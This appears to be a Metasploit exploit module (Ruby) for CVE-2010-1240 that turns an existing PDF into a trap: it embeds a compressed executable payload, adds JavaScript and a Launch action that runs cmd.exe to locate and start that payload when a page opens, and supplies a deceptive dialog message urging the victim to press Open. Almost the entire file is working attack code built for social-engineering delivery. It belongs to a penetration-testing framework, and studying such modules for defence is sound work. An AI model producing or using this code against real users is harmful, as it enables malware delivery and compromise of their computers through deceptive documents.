PageRenderTime 46ms CodeModel.GetById 14ms RepoModel.GetById 0ms app.codeStats 0ms

/modules/exploits/windows/fileformat/adobe_pdf_embedded_exe.rb

https://bitbucket.org/technopunk2099/metasploit-framework
Ruby | 386 lines | 294 code | 77 blank | 15 comment | 22 complexity | 42a0a49db26fede6f1bb31d7e67107ad MD5 | raw file
Possible License(s): BSD-3-Clause, Apache-2.0, LGPL-2.1, GPL-2.0, MIT
  1. ##
  2. # This file is part of the Metasploit Framework and may be subject to
  3. # redistribution and commercial restrictions. Please see the Metasploit
  4. # web site for more information on licensing and terms of use.
  5. # http://metasploit.com/
  6. ##
  7. require 'msf/core'
  8. class Metasploit3 < Msf::Exploit::Remote
  9. Rank = ExcellentRanking
  10. include Msf::Exploit::PDF_Parse
  11. include Msf::Exploit::FILEFORMAT
  12. include Msf::Exploit::EXE
  13. def initialize(info = {})
  14. super(update_info(info,
  15. 'Name' => 'Adobe PDF Embedded EXE Social Engineering',
  16. 'Description' => %q{
  17. This module embeds a Metasploit payload into an existing PDF file. The
  18. resulting PDF can be sent to a target as part of a social engineering attack.
  19. },
  20. 'License' => MSF_LICENSE,
  21. 'Author' =>
  22. [
  23. 'Colin Ames <amesc[at]attackresearch.com>', # initial module
  24. 'jduck' # add Documents for vista/win7
  25. ],
  26. 'References' =>
  27. [
  28. [ 'CVE', '2010-1240' ],
  29. [ 'OSVDB', '63667' ],
  30. [ 'URL', 'http://blog.didierstevens.com/2010/04/06/update-escape-from-pdf/' ],
  31. [ 'URL', 'http://blog.didierstevens.com/2010/03/31/escape-from-foxit-reader/' ],
  32. [ 'URL', 'http://blog.didierstevens.com/2010/03/29/escape-from-pdf/' ],
  33. [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb10-15.html' ]
  34. ],
  35. 'DisclosureDate' => 'Mar 29 2010',
  36. 'Payload' =>
  37. {
  38. 'Space' => 2048,
  39. 'DisableNops' => true,
  40. 'StackAdjustment' => -3500,
  41. },
  42. 'Platform' => 'win',
  43. 'Targets' =>
  44. [
  45. [ 'Adobe Reader v8.x, v9.x (Windows XP SP3 English/Spanish)', { 'Ret' => '' } ]
  46. ],
  47. 'DefaultTarget' => 0))
  48. register_options(
  49. [
  50. OptString.new('INFILENAME', [ true, 'The Input PDF filename.']),
  51. OptString.new('EXENAME', [ false, 'The Name of payload exe.']),
  52. OptString.new('FILENAME', [ false, 'The output filename.', 'evil.pdf']),
  53. OptString.new('LAUNCH_MESSAGE', [ false, 'The message to display in the File: area',
  54. "To view the encrypted content please tick the \"Do not show this message again\" box and press Open."]),
  55. ], self.class)
  56. end
  57. def exploit
  58. file_name = datastore['INFILENAME']
  59. exe_name = datastore['EXENAME']
  60. print_status("Reading in '#{file_name}'...")
  61. stream = read_pdf()
  62. begin
  63. print_status("Parsing '#{file_name}'...")
  64. pdf_objects = parse_pdf(stream)
  65. xref_trailers = pdf_objects[0]
  66. trailers = pdf_objects[1]
  67. startxrefs = pdf_objects[2]
  68. root_obj = pdf_objects[3]
  69. output = basic_social_engineering_exploit(xref_trailers,root_obj,stream,trailers,file_name,exe_name,startxrefs.last)
  70. print_status("Parsing Successful. Creating '#{datastore['FILENAME']}' file...")
  71. file_create(output)
  72. rescue KeyError => e
  73. # Lazy fix:
  74. # Similar to the problem with NoMethod -- something we need is missing in the PDF.
  75. # But really what happens is the module trusts the PDF too much.
  76. print_error("Sorry, I'm picky. Incompatible PDF structure: #{e.message}. Please try a different PDF template.")
  77. elog("Call stack:\n#{$!.backtrace.join("\n")}")
  78. rescue NoMethodError => e
  79. # Lazy fix:
  80. # When a NoMethod error is hit, that means that something in the PDF is actually missing,
  81. # so we can't parse it. If we can't parse it properly, then we can't garantee the exploit
  82. # will work, either. So we might as well just reject it.
  83. print_error("Sorry, I'm picky. Incompatible PDF structure, please try a different PDF template.")
  84. elog("Call stack:\n#{$!.backtrace.join("\n")}")
  85. end
  86. end
  87. def ef_payload(pdf_name,payload_exe,obj_num)
  88. if !(payload_exe and payload_exe.length > 0)
  89. print_status("Using '#{datastore['PAYLOAD']}' as payload...")
  90. payload_exe = generate_payload_exe
  91. file_size = payload_exe.length
  92. stream = Rex::Text.zlib_deflate(payload_exe)
  93. md5 = Rex::Text.md5(stream)
  94. else
  95. print_status("Using '#{datastore['EXENAME']}' as payload...")
  96. file_size = File.size(payload_exe)
  97. stream = Rex::Text.zlib_deflate(IO.read(payload_exe))
  98. md5 = Rex::Text.md5(File.read(payload_exe))
  99. end
  100. output = String.new()
  101. output << "#{obj_num.to_i + 1} 0 obj\r<</UF(#{pdf_name}.pdf)/F(#{pdf_name}.pdf)/EF<</F #{obj_num.to_i + 2} 0 R>>/Desc(#{pdf_name})/Type/Filespec>>\rendobj\r"
  102. output << "#{obj_num.to_i + 2} 0 obj\r<</Subtype/application#2Fpdf/Length #{stream.length + 3}/Filter/FlateDecode/DL #{file_size}/Params<</Size #{file_size}/CheckSum<#{md5.upcase}>>>>>"
  103. output << "stream\r#{stream}\r\nendstream\rendobj\r"
  104. return output
  105. end
  106. def js_payload(pdf_name,obj_num)
  107. output = String.new()
  108. output << "#{obj_num.to_i + 3} 0 obj\r<</S/JavaScript/JS(this.exportDataObject({ cName: \"#{pdf_name}\", nLaunch: 0 });)/Type/Action>>\rendobj\r"
  109. output << "#{obj_num.to_i + 4} 0 obj\r<</S/Launch/Type/Action/Win<</F(cmd.exe)/D(c:\\\\windows\\\\system32)/P(/Q /C "
  110. # change to the home drive/path no matter what
  111. output << "%HOMEDRIVE%&cd %HOMEPATH%"
  112. # check for the pdf in these dirs, in this order..
  113. dirs = [ "Desktop", "My Documents", "Documents", "Escritorio", "Mis Documentos" ]
  114. dirs.each { |dir|
  115. fmt = "&"+
  116. "("+
  117. "if exist \"%s\" "+
  118. "(cd \"%s\")"+
  119. ")"
  120. fname = "%s\\\\#{pdf_name}.pdf" % dir
  121. output << fmt % [fname, dir]
  122. }
  123. launch_message = datastore['LAUNCH_MESSAGE']
  124. lines = []
  125. launch_message.gsub(/.{1,80}(?:\s|\Z)/) { lines << $& }
  126. if (lines.length > 2)
  127. print_warning("Warning: the LAUNCH_MESSAGE is more than 2 lines. It may not display correctly.")
  128. end
  129. output << "&"+
  130. # note: the following doesn't work with spaces, and adding quotes doesn't execute the payload :-/
  131. "(start #{pdf_name}.pdf)"+
  132. # note: The below message modifies the text in the "File:" textfield of the "Launch File" dialog
  133. ("\n"*10) +
  134. launch_message+
  135. # note: this extra rparen is required.
  136. ")"+
  137. ">>>>\rendobj\r"
  138. return output
  139. end
  140. def basic_social_engineering_exploit(xref_trailers,root_obj,stream,trailers,file_name,exe_name,startxref)
  141. file_name = file_name.split(/\//).pop.to_s
  142. match = file_name.match(/(.+)\.pdf/)
  143. if match
  144. pdf_name = match[1]
  145. end
  146. catalog = parse_object(xref_trailers,root_obj,stream)
  147. match = catalog.match(/Names (\d+ \d) R/m)
  148. if match
  149. names = parse_object(xref_trailers,match[1],stream)
  150. match = names.match(/EmbeddedFiles (\d+ \d) R/m)
  151. if match
  152. embedded_files = parse_object(xref_trailers,match[1],stream)
  153. new_embedded_files = embedded_files.gsub(/(\]>>)/m,"(\xfe\xff#{Rex::Text.to_unicode(pdf_name,"utf-16be")})#{trailers[0].fetch("Size")} 0 R" + '\1')
  154. else
  155. new_names = names.gsub(/(>>.*)/m,"/EmbeddedFiles #{trailers[0].fetch("Size")} 0 R" + '\1')
  156. end
  157. else
  158. new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/Names #{trailers[0].fetch("Size")} 0 R")
  159. end
  160. if catalog.match(/OpenAction/m)
  161. match = catalog.match(/OpenAction (\d+ \d) R/m)
  162. if match
  163. open_action = "#{match[1]} R"
  164. if new_catalog
  165. if new_embedded_files
  166. new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R")
  167. elsif new_names
  168. new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
  169. else
  170. new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
  171. end
  172. else
  173. if new_embedded_files
  174. new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R")
  175. elsif new_names
  176. new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
  177. else
  178. new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
  179. end
  180. end
  181. else
  182. if new_catalog
  183. new_catalog = new_catalog.gsub(/OpenAction ?\[.+\]/m, "OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
  184. else
  185. new_catalog = catalog.gsub(/OpenAction ?\[.+\]/m, "OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
  186. end
  187. end
  188. else
  189. if new_catalog
  190. if new_embedded_files
  191. new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R")
  192. elsif new_names
  193. new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
  194. else
  195. new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
  196. end
  197. else
  198. if new_embedded_files
  199. new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R")
  200. elsif new_names
  201. new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
  202. else
  203. new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
  204. end
  205. end
  206. end
  207. pages_obj = catalog.match(/Pages (\d+ \d) R/m)[1]
  208. pages = parse_object(xref_trailers,pages_obj,stream)
  209. page_obj = pages.match(/Kids ?\[\r?\n? *(\d+ \d) R/m)[1]
  210. page = parse_object(xref_trailers,page_obj,stream)
  211. match = page.match(/Kids ?\[\r?\n? *(\d+ \d) R/m)
  212. while match
  213. page_obj = match[1]
  214. page = parse_object(xref_trailers,page_obj,stream)
  215. match = page.match(/Kids ?\[\r?\n? *(\d+ \d) R/m)
  216. end
  217. match = page.match(/AA<<\/O (\d+ \d) R/m)
  218. if match
  219. aa = parse_object(xref_trailers,match[1],stream)
  220. end
  221. new_pdf = String.new()
  222. xrefs = String.new()
  223. if new_embedded_files
  224. pdf_payload = String.new()
  225. num = trailers[0].fetch("Size").to_i - 1
  226. pdf_payload << ef_payload(pdf_name,exe_name,num)
  227. pdf_payload << js_payload(pdf_name,num)
  228. new_pdf << stream << pdf_payload
  229. xrefs = xref_create(new_pdf,stream.length,"*")
  230. new_size = trailers[0].fetch("Size").to_i + 4
  231. if aa
  232. new_page = page.gsub(/(AA<<\/O )\d+ \d R(.*)/m,'\1' + "#{trailers[0].fetch("Size").to_i + 3} 0" + '\2')
  233. else
  234. new_page = page.gsub(/(>> *\r?\n? *endobj)/m,"/AA<<\/O #{trailers[0].fetch("Size").to_i + 3} 0 R>>" + '\1')
  235. end
  236. new_pdf << new_catalog
  237. xrefs << xref_create(new_pdf,(new_pdf.length - new_catalog.length), "1")
  238. new_pdf << new_page
  239. xrefs << xref_create(new_pdf,(new_pdf.length - new_page.length), "1")
  240. new_pdf << new_embedded_files
  241. xrefs << xref_create(new_pdf,(new_pdf.length - new_embedded_files.length), "1")
  242. if trailers[0].has_key?("ID")
  243. new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R/ID#{trailers[0].fetch("ID")}>>\r\n"
  244. else
  245. new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R>>\r\n"
  246. end
  247. new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_embedded_files.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n"
  248. elsif new_names
  249. pdf_payload = String.new()
  250. num = trailers[0].fetch("Size").to_i
  251. pdf_payload << "#{num} 0 obj\r<</Names[(\xfe\xff#{Rex::Text.to_unicode(pdf_name,"utf-16be")})#{num + 1} 0 R]>>\rendobj\r"
  252. pdf_payload << ef_payload(pdf_name,exe_name,num)
  253. pdf_payload << js_payload(pdf_name,num)
  254. new_pdf << stream << pdf_payload
  255. xrefs = xref_create(new_pdf,stream.length,"*")
  256. new_size = trailers[0].fetch("Size").to_i + 5
  257. if aa
  258. new_page = page.gsub(/(AA<<\/O )\d+ \d(.*)/m,'\1' + "#{trailers[0].fetch("Size").to_i + 4} 0" + '\2')
  259. else
  260. new_page = page.gsub(/(>> *\r?\n? *endobj)/m,"/AA<<\/O #{trailers[0].fetch("Size").to_i + 4} 0 R>>" + '\1')
  261. end
  262. new_pdf << new_catalog
  263. xrefs << xref_create(new_pdf,(new_pdf.length - new_catalog.length), "1")
  264. new_pdf << new_page
  265. xrefs << xref_create(new_pdf,(new_pdf.length - new_page.length), "1")
  266. new_pdf << new_names
  267. xrefs << xref_create(new_pdf,(new_pdf.length - new_names.length), "1")
  268. if trailers[0].has_key?("ID")
  269. new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R/ID#{trailers[0].fetch("ID")}>>\r\n"
  270. else
  271. new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R>>\r\n"
  272. end
  273. new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_names.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n"
  274. else
  275. pdf_payload = String.new()
  276. num = trailers[0].fetch("Size").to_i + 1
  277. pdf_payload << "#{trailers[0].fetch("Size")} 0 obj\r<</EmbeddedFiles #{num} 0 R>>\rendobj\r"
  278. pdf_payload << "#{num} 0 obj\r<</Names[(#{pdf_name})#{num + 1} 0 R]>>\rendobj\r"
  279. pdf_payload << ef_payload(pdf_name,exe_name,num)
  280. pdf_payload << js_payload(pdf_name,num)
  281. new_pdf << stream << pdf_payload
  282. xrefs = xref_create(new_pdf,stream.length,"*")
  283. new_size = trailers[0].fetch("Size").to_i + 6
  284. if aa
  285. new_page = page.gsub(/(AA<<\/O )\d+ \d(.*)/m,'\1' + "#{trailers[0].fetch("Size").to_i + 5} 0" + '\2')
  286. else
  287. new_page = page.gsub(/(>> *\r?\n? *endobj)/m,"/AA<<\/O #{trailers[0].fetch("Size").to_i + 5} 0 R>>" + '\1')
  288. end
  289. new_pdf << new_catalog
  290. xrefs << xref_create(new_pdf,(new_pdf.length - new_catalog.length), "1")
  291. new_pdf << new_page
  292. xrefs << xref_create(new_pdf,(new_pdf.length - new_page.length), "1")
  293. if trailers[0].has_key?("ID")
  294. new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R/ID#{trailers[0].fetch("ID")}>>\r\n"
  295. else
  296. new_pdf << "xref\r\n" << xrefs
  297. new_pdf << "trailer\r\n"
  298. new_pdf << "<</Size #{new_size}/Prev #{startxref}"
  299. new_pdf << "/Root #{trailers[0].fetch("Root")} R"
  300. new_pdf << "/Info #{trailers[0].fetch("Info")} R>>\r\n"
  301. end
  302. new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n"
  303. end
  304. return new_pdf
  305. end
  306. end